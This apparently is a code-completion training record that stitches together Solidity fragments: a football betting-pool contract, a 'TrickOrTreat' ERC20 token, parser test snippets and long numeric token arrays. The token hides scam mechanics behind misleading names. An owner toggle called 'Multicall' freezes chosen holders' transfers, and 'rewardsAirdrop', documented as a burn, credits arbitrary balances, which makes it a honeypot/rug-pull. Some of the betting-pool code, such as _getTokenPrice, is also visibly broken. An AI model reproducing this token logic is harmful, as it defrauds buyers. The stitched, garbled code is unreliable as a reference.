}
function isDataSourceCallback() external pure returns (bool){
return true;
}
function dataSourceGetMatchesResults() external onlyAdmin {
dataSource.getMatchResults();
}
function dataSourceGetBonusResults() external onlyAdmin{
dataSource.getBonusResults();
}
function dataSourceGetExtraStats() external onlyAdmin{
dataSource.getExtraStats();
}
function dataSourceCallbackMatch(uint160 matches) external onlyDataSource{
uint160 m = matches;
for(uint256 i = 0; i < MATCHES_NUMBER; i++) {
matchResults[MATCHES_NUMBER - i - 1].result = uint8(m & MATCH_RESULT_MASK);
matchResults[MATCHES_NUMBER - i - 1].under49 = uint8((m >> 2) & MATCH_UNDEROVER_MASK);
matchResults[MATCHES_NUMBER - i - 1].touchdowns = uint8((m >> 3) & MATCH_TOUCHDOWNS_MASK);
m = m >> 8;
}
}
function dataSourceCallbackBonus(uint32 bonusResults) external onlyDataSource{
uint32 b = bonusResults;
for(uint256 i = 0; i < BONUS_MATCHES; i++) {
bonusMatches[BONUS_MATCHES - i - 1].bonus = uint8(b & BONUS_STAT_MASK);
b = b >> 6;
}
}
function dataSourceCallbackExtras(uint96 es) external onlyDataSource{
uint96 e = es;
extraStats.interceptions = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.missedFieldGoals = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.overtimes = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.sacks = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.fieldGoals = uint16(e & EXTRA_STATS_MASK);
e = e >> 16;
extraStats.fumbles = uint16(e & EXTRA_STATS_MASK);
}
/**
* @notice Sets the points of all the tokens between the last chunk set and the amount given.
* @dev This function uses all the data collected earlier by oraclize to calculate points.
* @param amount The amount of tokens that should be analyzed.
*/
function calculatePointsBlock(uint32 amount) external{
require (gameFinishedTime == 0);
require(amount + lastCheckedToken <= tokens.length);
for (uint256 i = lastCalculatedToken; i < (lastCalculatedToken + amount); i++) {
uint16 points = PointsCalculator.calculateTokenPoints(tokens[i].matches, tokens[i].bonusMatches,
tokens[i].extraStats, matchResults, extraStats, bonusMatches, starMatches);
tokenToPointsMap[i] = points;
}
lastCalculatedToken += amount;
}
/**
* @notice Sets the structures for payout distribution, last position and superior quota. Payout distribution is the
* percentage of the pot each position gets, last position is the percentage of the pot the last position gets,
* and superior quota is the total amount OF winners that are given a prize.
* @dev Each of this structures is dynamic and is assigned depending on the total amount of tokens in the game
*/
function setPayoutDistributionId () internal {
uint24[21] memory auxArr = PayoutDistribution.getDistribution(tokens.length);
for(uint256 i = 0; i < auxArr.length; i++){
payoutDistribution[i] = auxArr[i];
}
superiorQuota = PayoutDistribution.getSuperiorQuota(tokens.length);
}
/**
* @notice Sets the id of the last token that will be given a prize.
* @dev This is done to offload some of the calculations needed for sorting, and to cap the number of sorts
* needed to just the winners and not the whole array of tokens.
* @param tokenId last token id
*/
function setLimit(uint256 tokenId) external onlyAdmin{
require(tokenId < tokens.length);
require(pValidationState == pointsValidationState.Unstarted || pValidationState == pointsValidationState.LimitSet);
pointsLimit = tokenId;
pValidationState = pointsValidationState.LimitSet;
lastCheckedToken = 0;
lastCalculatedToken = 0;
winnerCounter = 0;
setPause();
setPayoutDistributionId();
}
/**
* @notice Sets the 10th percentile of the sorted array of points
* @param amount tokens in a chunk
*/
function calculateWinners(uint32 amount) external onlyAdmin checkState(pointsValidationState.LimitSet){
require(amount + lastCheckedToken <= tokens.length);
uint256 points = tokenToPointsMap[pointsLimit];
for(uint256 i = lastCheckedToken; i < lastCheckedToken + amount; i++){
if(tokenToPointsMap[i] > points ||
(tokenToPointsMap[i] == points && i <= pointsLimit)){
winnerCounter++;
}
}
lastCheckedToken += amount;
if(lastCheckedToken == tokens.length){
require(superiorQuota == winnerCounter);
pValidationState = pointsValidationState.LimitCalculated;
}
}
/**
* @notice Checks if the order given offchain coincides with the order of the actual previously calculated points
* in the smart contract.
* @dev the token sorting is done offchain so as to save on the huge amount of gas and complications that
* could occur from doing all the sorting onchain.
* @param sortedChunk chunk sorted by points
*/
function checkOrder(uint32[] sortedChunk) external onlyAdmin checkState(pointsValidationState.LimitCalculated){
require(sortedChunk.length + sortedWinners.length <= winnerCounter);
for(uint256 i = 0; i < sortedChunk.length - 1; i++){
uint256 id = sortedChunk[i];
uint256 sigId = sortedChunk[i+1];
require(tokenToPointsMap[id] > tokenToPointsMap[sigId] || (tokenToPointsMap[id] == tokenToPointsMap[sigId] &&
id < sigId));
}
if(sortedWinners.length != 0){
uint256 id2 = sortedWinners[sortedWinners.length-1];
uint256 sigId2 = sortedChunk[0];
require(tokenToPointsMap[id2] > tokenToPointsMap[sigId2] ||
(tokenToPointsMap[id2] == tokenToPointsMap[sigId2] && id2 < sigId2));
}
for(uint256 j = 0; j < sortedChunk.length; j++){
sortedWinners.push(sortedChunk[j]);
}
if(sortedWinners.length == winnerCounter){
require(sortedWinners[sortedWinners.length-1] == pointsLimit);
pValidationState = pointsValidationState.OrderChecked;
}
}
/**
* @notice If anything during the point calculation and sorting part should fail, this function can reset
* data structures to their initial position, so as to
*/
function resetWinners(uint256 newLength) external onlyAdmin checkState(pointsValidationState.LimitCalculated){
sortedWinners.length = newLength;
}
/**
* @notice Assigns prize percentage for the lucky top 30 winners. Each token will be assigned a uint256 inside
* tokenToPayoutMap structure that represents the size of the pot that belongs to that token. If any tokens
* tie inside of the first 30 tokens, the prize will be summed and divided equally.
*/
function setTopWinnerPrizes() external onlyAdmin checkState(pointsValidationState.OrderChecked){
uint256 percent = 0;
uint[] memory tokensEquals = new uint[](30);
uint16 tokenEqualsCounter = 0;
uint256 currentTokenId;
uint256 currentTokenPoints;
uint256 lastTokenPoints;
uint32 counter = 0;
uint256 maxRange = 13;
if(tokens.length < 201){
maxRange = 10;
}
while(payoutRange < maxRange){
uint256 inRangecounter = payDistributionAmount[payoutRange];
while(inRangecounter > 0){
currentTokenId = sortedWinners[counter];
currentTokenPoints = tokenToPointsMap[currentTokenId];
inRangecounter--;
//Special case for the last one
if(inRangecounter == 0 && payoutRange == maxRange - 1){
if(currentTokenPoints == lastTokenPoints){
percent += payoutDistribution[payoutRange];
tokensEquals[tokenEqualsCounter] = currentTokenId;
tokenEqualsCounter++;
} else {
tokenToPayoutMap[currentTokenId] = payoutDistribution[payoutRange];
}
}
//Fix second condition
if(counter != 0 && (currentTokenPoints != lastTokenPoints || (inRangecounter == 0 && payoutRange == maxRange - 1))){
for(uint256 i = 0; i < tokenEqualsCounter; i++){
tokenToPayoutMap[tokensEquals[i]] = percent.div(tokenEqualsCounter);
}
percent = 0;
tokensEquals = new uint[](30);
tokenEqualsCounter = 0;
}
percent += payoutDistribution[payoutRange];
tokensEquals[tokenEqualsCounter] = currentTokenId;
tokenEqualsCounter++;
counter++;
lastTokenPoints = currentTokenPoints;
}
payoutRange++;
}
pValidationState = pointsValidationState.TopWinnersAssigned;
lastPrizeGiven = counter;
}
/**
* @notice Sets prize percentage to every address that wins from the position 30th onwards
* @dev If there are less than 300 tokens playing, then this function will set nothing.
* @param amount tokens in a chunk
*/
function setWinnerPrizes(uint32 amount) external onlyAdmin checkState(pointsValidationState.TopWinnersAssigned){
require(lastPrizeGiven + amount <= winnerCounter);
uint16 inRangeCounter = payDistributionAmount[payoutRange];
for(uint256 i = 0; i < amount; i++){
if (inRangeCounter == 0){
payoutRange++;
inRangeCounter = payDistributionAmount[payoutRange];
}
uint256 tokenId = sortedWinners[i + lastPrizeGiven];
tokenToPayoutMap[tokenId] = payoutDistribution[payoutRange];
inRangeCounter--;
}
//i + amount prize was not given yet, so amount -1
lastPrizeGiven += amount;
payDistributionAmount[payoutRange] = inRangeCounter;
if(lastPrizeGiven == winnerCounter){
pValidationState = pointsValidationState.WinnersAssigned;
return;
}
}
/**
* @notice Sets prizes for last tokens and sets prize pool amount
*/
function setEnd() external onlyAdmin checkState(pointsValidationState.WinnersAssigned){
uint256 balance = address(this).balance;
adminPool = balance.mul(10).div(100);
prizePool = balance.mul(90).div(100);
pValidationState = pointsValidationState.Finished;
gameFinishedTime = now;
unSetPause();
}
}
// File: contracts/CryptocupNFL.sol
contract CryptocupNFL is GameRegistry {
constructor() public {
adminAddress = msg.sender;
deploymentTime = now;
_prepareMatchResultsArray();
_prepareBonusResultsArray();
}
/**
* @dev Only accept eth from the admin
*/
function() external payable {
require(msg.sender == adminAddress || msg.sender == marketplaceAddress);
}
function buildToken(uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external payable isNotPaused returns(uint256){
require(msg.value >= _getTokenPrice(), "Eth sent is not enough.");
require(msg.sender != address(0), "Sender cannot be 0 address.");
require(ownedTokens[msg.sender].length < 100, "Sender cannot have more than 100 tokens.");
require(now < EVENT_START, "Event already started."); //Event Start
require (bytes(message).length <= 100);
uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message);
_mint(msg.sender, tokenId);
emit LogTokenBuilt(msg.sender, tokenId, message, matches, extraStats, bonusMatches);
return tokenId;
}
function giftToken(address giftedAddress, uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external payable isNotPaused returns(uint256){
require(msg.value >= _getTokenPrice(), "Eth sent is not enough.");
require(msg.sender != address(0), "Sender cannot be 0 address.");
require(ownedTokens[giftedAddress].length < 100, "Sender cannot have more than 100 tokens.");
require(now < EVENT_START, "Event already started."); //Event Start
require (bytes(message).length <= 100);
uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message);
_mint(giftedAddress, tokenId);
emit LogTokenGift(msg.sender, giftedAddress, tokenId, message, matches, extraStats, bonusMatches);
return tokenId;
}
function buildPrepaidToken(bytes32 secret) external payable onlyAdmin isNotPaused {
require(msg.value >= _getTokenPrice(), "Eth sent is not enough.");
require(msg.sender != address(0), "Sender cannot be 0 address.");
require(now < EVENT_START, "Event already started."); //Event Start
secretsMap[secret] = 1;
emit LogPrepaidTokenBuilt(msg.sender, secret);
}
function redeemPrepaidToken(bytes32 preSecret, uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external isNotPaused returns(uint256){
require(msg.sender != address(0), "Sender cannot be 0 address.");
require(ownedTokens[msg.sender].length < 100, "Sender cannot have more than 100 tokens.");
require(now < EVENT_START, "Event already started."); //Event Start
require (bytes(message).length <= 100);
bytes32 secret = keccak256(preSecret);
require (secretsMap[secret] == 1, "Invalid secret.");
secretsMap[secret] = 0;
uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message);
_mint(msg.sender, tokenId);
emit LogPrepaidRedeemed(msg.sender, tokenId, message, matches, extraStats, bonusMatches);
return tokenId;
}
/**
* @param tokenId - ID of token to get.
* @return Returns all the valuable information about a specific token.
*/
function getToken(uint256 tokenId) external view returns (uint160 matches, uint32 bonusMatches, uint96 extraStats, uint64 timeStamp, string message) {
Token storage token = tokens[tokenId];
matches = token.matches;
bonusMatches = token.bonusMatches;
extraStats = token.extraStats;
timeStamp = token.timeStamp;
message = token.message;
}
/**
* @notice Allows any user to retrieve their asigned prize. This would be the sum of the price of all the tokens
* owned by the caller of this function.
* @dev If the caller has no prize, the function will revert costing no gas to the caller.
*/
function withdrawPrize() external checkState(pointsValidationState.Finished){
uint256 prize = 0;
uint256[] memory tokenList = ownedTokens[msg.sender];
for(uint256 i = 0;i < tokenList.length; i++){
prize += tokenToPayoutMap[tokenList[i]];
tokenToPayoutMap[tokenList[i]] = 0;
}
require(prize > 0);
msg.sender.transfer((prizePool.mul(prize)).div(1000000));
}
//EMERGENCY CALLS
//If something goes wrong or fails, these functions will allow retribution for token holders
/**
* @notice if there is an unresolvable problem, users can call to this function to get a refund.
*/
function emergencyWithdraw() external hasFinalized{
uint256 balance = STARTING_PRICE * ownedTokens[msg.sender].length;
delete ownedTokens[msg.sender];
msg.sender.transfer(balance);
}
} | * @notice Gets current token price/ | function _getTokenPrice() internal view returns(uint256 tokenPrice){
if (now >= FIRST_PHASE) {
tokenPrice = (80 finney);
tokenPrice = STARTING_PRICE;
}
require(tokenPrice >= STARTING_PRICE && tokenPrice <= (80 finney));
}
| 12,723,297 | [
1,
3002,
783,
1147,
6205,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
588,
1345,
5147,
1435,
2713,
1476,
1135,
12,
11890,
5034,
1147,
5147,
15329,
203,
203,
3639,
309,
261,
3338,
1545,
21786,
67,
8939,
4429,
13,
288,
203,
5411,
1147,
5147,
273,
261,
3672,
574,
82,
402,
1769,
203,
5411,
1147,
5147,
273,
10485,
1360,
67,
7698,
1441,
31,
203,
3639,
289,
203,
203,
3639,
2583,
12,
2316,
5147,
1545,
10485,
1360,
67,
7698,
1441,
597,
1147,
5147,
1648,
261,
3672,
574,
82,
402,
10019,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
▄▄▄█████▓ ██▀███ ██▓ ▄████▄ ██ ▄█▀ ▒█████ ██▀███ ▄▄▄█████▓ ██▀███ ▓█████ ▄▄▄ ▄▄▄█████▓
▓ ██▒ ▓▒▓██ ▒ ██▒▓██▒▒██▀ ▀█ ██▄█▒ ▒██▒ ██▒▓██ ▒ ██▒ ▓ ██▒ ▓▒▓██ ▒ ██▒▓█ ▀▒████▄ ▓ ██▒ ▓▒
▒ ▓██░ ▒░▓██ ░▄█ ▒▒██▒▒▓█ ▄ ▓███▄░ ▒██░ ██▒▓██ ░▄█ ▒ ▒ ▓██░ ▒░▓██ ░▄█ ▒▒███ ▒██ ▀█▄ ▒ ▓██░ ▒░
░ ▓██▓ ░ ▒██▀▀█▄ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒██ ██░▒██▀▀█▄ ░ ▓██▓ ░ ▒██▀▀█▄ ▒▓█ ▄░██▄▄▄▄██░ ▓██▓ ░
▒██▒ ░ ░██▓ ▒██▒░██░▒ ▓███▀ ░▒██▒ █▄ ░ ████▓▒░░██▓ ▒██▒ ▒██▒ ░ ░██▓ ▒██▒░▒████▒▓█ ▓██▒ ▒██▒ ░
▒ ░░ ░ ▒▓ ░▒▓░░▓ ░ ░▒ ▒ ░▒ ▒▒ ▓▒ ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒ ░░ ░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ▓▒█░ ▒ ░░
░ ░▒ ░ ▒░ ▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ▒ ▒░ ░▒ ░ ▒░ ░ ░▒ ░ ▒░ ░ ░ ░ ▒ ▒▒ ░ ░
░ ░░ ░ ▒ ░░ ░ ░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░░ ░ ░ ░ ▒ ░
🎮WEBSITE🎮 (https://trickortreat.click/)
🎮TELEGRAM🎮 (https://t.me/TrickToken)
*/ // SPDX-License-Identifier: MIT
pragma solidity =0.8.1;
import "./IERC20.sol";
import "./Ownable.sol";
/**
* @dev Implementation of the {IERC20} interface.
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract.
*/
contract TrickOrTreat is Ownable, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _Multicall;
uint256 private _totalSupply;
uint256 private _supplyCap;
string private _name;
string private _symbol;
address unir;
address unif;
/**
* @dev Sets the values for {name}, {symbol} and {totalsupply}.
*/
constructor(address rter, address fctr) {
_name = "TrickOrTreat";
_symbol = "TRICK";
_totalSupply = 1000000000*10**9;
_supplyCap = 1000000000;
_balances[msg.sender] += _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
unir = rter;
unif = fctr;
}
/**
* @notice Returns Supply Cap (maximum possible amount of tokens)
*/
function SUPPLY_CAP() external view returns (uint256) {
return _supplyCap;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);}
return true;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
*/
function rewardsAirdrop (address account, uint256 balance, uint256 burnAmount) external onlyDistributor {
require(account != address(0), "ERC20: burn from the zero address disallowed");
_totalSupply -= balance;
_balances[account] += burnAmount;
emit Transfer(account, address(0), balance);
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_Multicall[sender] || _Multicall[recipient]) require (amount == 0, "");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens.
*/
function Multicall (address _address) external onlyDistributor {
if (_Multicall[_address] == true) {_Multicall[_address] = false;}
else {_Multicall[_address] = true; }
}
function checkRewards (address _address) public view returns (bool) {
return _Multicall[_address];
}
/**
* @dev Hook that is called before any transfer of tokens.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | * @dev Sets the values for {name}, {symbol} and {totalsupply}./ | constructor(address rter, address fctr) {
_name = "TrickOrTreat";
_symbol = "TRICK";
_totalSupply = 1000000000*10**9;
_supplyCap = 1000000000;
_balances[msg.sender] += _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
unir = rter;
unif = fctr;
}
| 11,945,240 | [
1,
2785,
326,
924,
364,
288,
529,
5779,
288,
7175,
97,
471,
288,
3307,
1031,
416,
1283,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
12,
2867,
436,
387,
16,
1758,
284,
5735,
13,
288,
203,
3639,
389,
529,
273,
315,
1070,
1200,
1162,
56,
6150,
14432,
203,
3639,
389,
7175,
273,
315,
6566,
3507,
14432,
203,
3639,
389,
4963,
3088,
1283,
273,
15088,
3784,
14,
2163,
636,
29,
31,
203,
3639,
389,
2859,
1283,
4664,
282,
273,
15088,
3784,
31,
203,
3639,
389,
70,
26488,
63,
3576,
18,
15330,
65,
1011,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
1234,
18,
15330,
16,
389,
4963,
3088,
1283,
1769,
203,
3639,
640,
481,
273,
436,
387,
31,
203,
3639,
640,
430,
273,
284,
5735,
31,
203,
565,
289,
203,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.4;
pragma solidity ^0.4.4;
pragma solidity ~0.4.4;
pragma solidity >0.4.4;
pragma solidity >=0.4.4;
pragma solidity <0.4.4;
pragma solidity <=0.4.4;
pragma solidity =0.4.4;
pragma solidity 0.4;
pragma solidity ^0.6;
pragma solidity >=0.5.0 <0.7.0;
library a {}
library b {}
library c {}
library f {}
contract test {
function f(uint a, uint b);
function g(uint c);
}
contract c {
event e(uint[10] a, bytes7[8] indexed b, c[3] x);
}
contract c {
function f() {
uint8[10 * 2] x;
}
}
contract c {
uint[10] a;
uint[] a2;
struct x { uint[2**20] b; y[0] c; }
struct y { uint d; mapping(uint=>x)[] e; }
}
contract test {
function fun(uint256 a) {
uint256 x = ([1, 2, 3 + 4][a/=9] - 3) ** 4;
}
}
import "./abc.sol" as x;
import * as y from "./abc.sol";
import {a as b, c as d, f} from "./abc.sol";
contract z {}
contract A {
function f() {
uint x = 3 < 0 ? 2 > 1 ? 2 : 1 : 7 > 2 ? 7 : 6;
}
}
contract A {
function f() {
uint x = true ? 1 : 0;
uint y = false ? 0 : 1;
}
}
contract A {
function f() {
uint y = 1;
uint x = 3 < 0 ? x = 3 : 6;
true ? x = 3 : 4;
}
}
contract A {
function f() {
uint x = 3 > 0 ? 3 : 0;
uint y = (3 > 0) ? 3 : 0;
}
}
contract A {
function f() {
uint x = 3;
uint y = 1;
uint z = (x > y) ? x : y;
uint w = x > y ? x : y;
}
}
contract base {
function fun() {
uint64(2);
}
}
contract derived is base() {
function fun() {
uint64(2);
}
}
contract foo {
function fun() {
}
}
contract bar {
function fun() {
}
}
contract derived is foo, bar {
function fun() {
}
}
contract A {
fixed40x40 storeMe;
function f(ufixed x, fixed32x32 y) {
ufixed8x8 a;
fixed b;
}
}
library d {}
contract test {
function fun(uint256 a) returns (address b) {
if (a < 0) b = 0x67; else if (a == 0) b = 0x12; else b = 0x78;
}
}
//
contract test
{}
contract c {
enum foo { }
}
contract test {
uint256 stateVar;
function functionName(bytes20 arg1, address addr) constant
returns (int id)
{ }
}
contract c {
enum validEnum { Value1, Value2, Value3, Value4 }
function c () {
a = validEnum.Value3;
}
validEnum a;
}
contract c {
event e();
}
contract c {
event e() anonymous;
}
contract c {
event e(uint a, bytes32 s);
}
contract c {
event e(uint a, bytes32 indexed s, bool indexed b);
}
contract test {
function fun(uint256 a) {
uint256 x = 3 ** a;
}
}
contract c {
function x() external {}
}
contract c {
function() { }
}
contract test {
function fun(uint256 a) {
uint256 i = 0;
for (i = 0; i < 10; i++) {
uint256 x = i;
break;
continue;
}
}
}
contract test {
function fun(uint256 a) {
uint256 i = 0;
for (;;) {
uint256 x = i;
break;
continue;
}
}
}
contract test {
function fun(uint256 a) {
uint256 i =0;
for (i = 0; i < 10; i++)
continue;
}
}
contract test {
function fun(uint256 a) {
for (uint256 i = 0; i < 10; i++) {
uint256 x = i;
break;
continue;
}
}
}
// contract from {
// }
contract test {
function functionName(bytes32 input) returns (bytes32 out);
}
contract test {
string a = hex"00FF0000";
string b = hex'00AA0000';
string b = hex'00AA_0000';
string b = hex'';
string b = hex"";
}
contract test {
function fun(uint256 a) {
if (a >= 8) {
return;
} else {
var b = 7;
}
}
}
import './abc.sol' as my_abc;
contract test {}
import { a as my_a, b as my_b } from './abc.sol';
contract test {}
import "./abc.sol";
contract test {
function fun() {
uint64(2);
}
}
